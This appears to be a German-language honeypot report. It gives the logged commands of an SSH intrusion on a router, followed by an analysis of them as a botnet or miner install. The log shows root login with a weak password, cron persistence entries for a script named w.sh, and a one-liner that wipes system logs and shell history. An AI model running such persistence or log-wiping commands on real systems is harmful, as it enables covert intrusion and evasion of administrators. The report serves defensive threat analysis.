10.10.2026, 22:50 UTC · 16 Befehle · über ssh · Vereinigte Staaten · 2× wiederholt
user='root' pass='1qaz@WSX' root@srv01:~$ uname -a Linux router 5.4.179 #0 SMP Mon Apr 4 20:03:07 2022 mips GNU/Linux root@srv01:~$ sh -c 'for d in /dev/shm /tmp /var/run /mnt /root /; do cd "$d" 2>/dev/null && pwd && break; done' / root@srv01:~$ cat /proc/cpuinfo | grep processor | wc -l 4 root@srv01:~$ cd "/" && if [ ! -f "w.sh" ]; then cat > "w.sh" && chmod +x w.sh; fi bash: w.sh: No such file or directory root@srv01:~$ CRON="$(crontab -l 2>/dev/null || true)" root@srv01:~$ echo "$CRON" | grep -F '//w.sh "astats" "netai" "kstats" "ssh 2 az"' >/dev/null 2>&1 || \ bash: syntax error near unexpected token `||' root@srv01:~$ printf '%s\n%s\n' "@reboot //w.sh "astats" "netai" "kstats" "ssh 2 az"" "0 * * * * cd "/" && ./w.sh "astats" "netai" "kstats" "ssh 2 az"" | (cat -; echo "$CRON") | crontab - bash: syntax error near unexpected token `(' root@srv01:~$ ps -eo pid,pcpu,comm --sort=-pcpu | head -n 10 PID %CPU COMMAND 134 0.4 procd 145 0.3 logd 156 0.2 netifd 162 0.1 uhttpd 178 0.1 dnsmasq 201 0.1 klogd 202 0.1 syslogd 215 0.0 dropbear 220 0.0 crond 225 0.0 ash root@srv01:~$ ps aux | grep astats | grep -v grep |grep -v systemd-networkd |grep -v ld-musl-x86_64 |grep -v rsyslogd | wc -l 0 root@srv01:~$ ps aux | grep kstats | grep -v grep |grep -v systemd-networkd |grep -v ld-musl-x86_64 |grep -v rsyslogd | wc -l 0 root@srv01:~$ cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > kstats bash: kstats: No such file or directory root@srv01:~$ cd /dev/shm || cd /tmp || cd /var/run || cd /mnt || cd /root || cd / && cat > astats bash: astats: No such file or directory root@srv01:~$ rm -rf .bash_history;rm -rf /var/run/utmp;rm -rf /var/run/wtmp -;rm -rf /var/log/lastlog;rm -rf /usr/adm/lastlog;rm -rf .bash_history;cd /home;rm -rf yum.log;cd /var/log/;rm -rf wtmp;rm -rf secure;rm -rf lastlog;rm -rf messages;touch messagess;touch wtmp;touch secure;touch lastlog;cd /root;rm -rf .bash_history;touch .bash_history;unset HISTFILE;unset HISTSAVE;history -n;unset WATCH;nohup sh /tmp/.… rm: cannot remove '/var/run/utmp': No such file or directory rm: cannot remove '/var/run/wtmp -': No such file or directory rm: cannot remove '/usr/adm/lastlog': No such file or directory rm: cannot remove 'yum.log': No such file or directory rm: cannot remove 'secure': No such file or directory rm: cannot remove 'messages': No such file or directory rm: cannot remove '.bash_history': No such file or directory root@srv01:~$ CRON="$(crontab -l 2>/dev/null || true)" root@srv01:~$ echo "$CRON" | grep -F '//w.sh "astats" "netai" "kstats" "http 80 az"' >/dev/null 2>&1 || \ bash: //w.sh: No such file or directory root@srv01:~$ printf '%s\n%s\n' "@reboot //w.sh "astats" "netai" "kstats" "http 80 az"" "0 * * * * cd "/" && ./w.sh "astats" "netai" "kstats" "http 80 az"" | (cat -; echo "$CRON") | crontab - bash: //w.sh: No such file or directory
Der Angreifer meldete sich mit schwachen Zugangsdaten als Root Benutzer an und führte eine Reihe von Reconnaissance Befehlen aus, um die Systemarchitektur und CPU Kerne zu prüfen. Anschließend versuchte er, ein Skript namens w.sh im Wurzelverzeichnis zu erstellen und dieses über Cron Jobs für den automatischen Start bei Reboot und stündlich zu installieren. Er lud zwei weitere Dateien mit den Namen kstats und astats in temporäre Verzeichnisse herunter und löschte danach systematisch Log Dateien und Shell Historie, um seine Spuren zu verwischen.
Die Befehle uname und cat /proc/cpuinfo dienen der Erkennung der Systemumgebung, um kompatible Malware Varianten auszuwählen. Der Befehl cat > w.sh versucht, ein Startskript zu schreiben, das dann über crontab als @reboot und stündlicher Job registriert wird, um die Persistenz zu sichern. Die ps aux Befehle prüfen, ob bereits Instanzen der Malware laufen, indem sie nach spezifischen Prozessnamen filtern und Systemprozesse ausschließen. Das Erstellen von leeren Dateien mit touch und das Löschen von Logs wie wtmp und secure dient der Anti Forensik, um die Aktivität vor Administratoren zu verbergen.
Das Vorgehen deutet stark auf die Installation eines Botnet Agenten oder eines Kryptomining Malware hin, da spezifische Prozessnamen wie astats und kstats überwacht und gestartet werden sollen. Die Verwendung von Cron Jobs zur Persistenz und das Löschen von Logs sind typische Merkmale von Malware, die langfristig im Hintergrund laufen soll. Da die Skripte im Honeypot nicht vollständig ausgeführt wurden, bleibt das genaue Endziel, ob Mining oder DDoS Beteiligung, theoretisch offen, aber die Struktur ist charakteristisch für automatisierte Botnet Infektionen.
Dieses Muster ist extrem verbreitet und stammt oft von automatisierten Bots, die das Internet nach Standard SSH Zugängen mit schwachen Passwörtern absuchen. Die Kombination aus spezifischen Dateinamen und Log Löschung ist ein bekanntes Signaturmuster für bestimmte Malware Familien, die in IoT Geräten und Linux Servern operieren.